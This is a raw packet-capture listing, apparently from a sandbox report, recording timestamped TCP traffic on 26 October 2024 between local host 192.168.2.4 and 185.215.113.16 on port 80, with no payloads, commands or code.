Oct 26, 2024 05:54:43.253510952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.253525972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.253539085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.253552914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.253604889 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.253604889 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.293275118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.293334961 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.293350935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.293402910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.293420076 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.293713093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.293775082 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.294080973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.294269085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.294329882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.295187950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.295381069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.295394897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.295445919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.295445919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.295547962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.297177076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.297192097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.297205925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.297225952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.297240973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.297255039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.297266960 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.297266960 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.297266960 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.337203979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.337220907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.337236881 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.337306976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.372194052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.372243881 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.372256994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.372271061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.372327089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.372344971 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.413654089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.413692951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.413701057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.413822889 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.458748102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.458781958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.458796024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.458857059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.458873034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.458901882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.458901882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.458997965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.459012985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.459027052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.459043026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.459085941 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.459085941 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.459136963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.459184885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.459193945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.459208965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.459275961 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.459330082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.459345102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.459359884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.459374905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.459398031 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.459485054 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.497875929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.497905016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.497936964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.498013973 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.533428907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.533456087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.533572912 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.533616066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.533638954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.533749104 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.574862957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.574889898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.574930906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.574975967 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.619601011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.619668961 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.619682074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.619704008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.619718075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.619739056 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.619755983 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.619781017 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.619880915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.619942904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.619956970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.619977951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.620170116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.620184898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.620198965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.620223045 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.620244026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.620299101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.620315075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.620352030 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.620614052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.620628119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.620666027 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.620733023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.620785952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.620800972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.620815039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.620840073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.620872974 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.658714056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.658895016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.658909082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.658922911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.658962011 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.658996105 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.694936037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.694964886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.694977045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.694989920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.695031881 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.695072889 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.736099958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.736114025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.736135960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.736148119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.736187935 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.736222982 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.781138897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.781152964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.781167984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.781207085 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.781233072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.781248093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.781270027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.781285048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.781290054 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.781313896 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.781358004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.781775951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.781799078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.781812906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.781821966 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.781848907 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.781939030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.781994104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.782010078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.782030106 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.782042027 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.782068968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.782082081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.782114029 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.782330036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.782352924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.782365084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.782404900 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.820086956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.820102930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.820116043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.820144892 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.820159912 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.856231928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.856275082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.856287956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.856317997 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.895981073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.897568941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.897584915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.897598982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.897622108 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.942609072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.942641973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.942656994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.942662954 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.942697048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.942723989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.942739010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.942775965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.942797899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.942888021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.942929029 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.942938089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.942951918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.943010092 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.943135023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.943187952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.943205118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.943218946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.943243980 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.943269014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.943438053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.943497896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.943511963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.943535089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.943675041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.943717003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.943730116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.943756104 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.943779945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:43.981342077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.981376886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.981389999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:43.981420040 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.017537117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.017550945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.017575026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.017580032 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.017586946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.017618895 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.058969021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.058985949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.059000969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.059029102 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.059051037 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.103828907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.103863955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.103877068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.103902102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.103915930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.103924036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.103935003 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.104110003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.104173899 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.104206085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.104218960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.104266882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.104291916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.104331017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.104346037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.104365110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.104418039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.104461908 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.104649067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.104707003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.104722023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.104759932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.104784012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.104799032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.104835987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.105067015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.105135918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.105154991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.105175018 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.105199099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.143419981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.143433094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.143456936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.143471956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.143476009 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.143508911 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.178960085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.178973913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.178987980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.179002047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.179027081 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.179059029 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.219968081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.219993114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.220005989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.220026016 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.265113115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.265126944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.265142918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.265161991 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.265166998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.265182972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.265189886 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.265219927 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.265288115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.265301943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.265338898 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.265551090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.265573025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.265609980 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.265683889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.265737057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.265748978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.265774965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.265887022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.265928030 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.265933990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.265949965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.266000986 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.266025066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.266046047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.266078949 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.266334057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.266381979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.266393900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.266422033 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.304841042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.304856062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.304868937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.304889917 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.304904938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.340236902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.340262890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.340284109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.340298891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.340303898 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.340336084 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.382323027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.382339001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.382354021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.382385015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.426549911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.426599026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.426603079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.426639080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.426671982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.426676989 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.426722050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.426749945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.426765919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.426785946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.426826000 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.426832914 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.426866055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.426907063 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.426950932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.426984072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.427016973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.427021027 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.427048922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.427088976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.427310944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.427380085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.427412033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.427427053 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:44.427542925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:44.427583933 CEST	49742	80	192.168.2.4	185.215.113.16
